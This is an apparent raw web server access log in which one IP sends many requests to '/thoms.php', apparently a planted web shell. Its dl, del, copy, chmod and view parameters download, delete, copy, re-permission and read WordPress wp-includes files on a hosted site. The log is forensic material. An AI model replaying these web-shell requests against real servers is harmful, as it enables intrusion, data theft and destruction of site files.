45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?dl=admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59299 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59390 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-patterns.php HTTP/1.1" 200 15901 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-requests.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-requests.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?del=script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 200 16271 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /booking-wise2.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:06 -0400] "GET /thoms.php?dl=class-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59338 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /thoms.php?dl=feed-rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30269 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /thoms.php?dl=meta.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:07 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:08 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59396 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:08 -0400] "GET /thoms.php?del=registration.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59446 "http://163.245.207.76:443/thoms.php?del=registration.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:08 -0400] "GET /thoms.php?del=template-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59160 "http://163.245.207.76:443/thoms.php?del=template-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:08 -0400] "GET /thoms.php?dl=template-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59451 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:08 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftheme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 200 13398 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?chmod=media.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?del=class-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59441 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?del=class-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post-template.php HTTP/1.1" 200 33176 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-parser-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:09 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24020 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59444 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?chmod=block-supports&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=block-supports&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?dl=theme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-matchesmapregex.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php HTTP/1.1" 200 17498 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-table.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:10 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12624 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-comment.php HTTP/1.1" 200 15975 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-walker-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?del=post-formats.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59419 "http://163.245.207.76:443/thoms.php?del=post-formats.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?dl=class-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php HTTP/1.1" 200 12495 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-editor-context.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13981 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:11 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12431 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?chmod=theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /booking-wise2.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23716 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?dl=rss.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59410 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?del=abilities-api.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 200 12412 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?del=wp-db.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=wp-db.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11903 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:12 -0400] "GET /booking-wise2.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-load.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-oembed.php HTTP/1.1" 200 21765 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /booking-wise2.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?chmod=cache-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:13 -0400] "GET /thoms.php?dl=cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
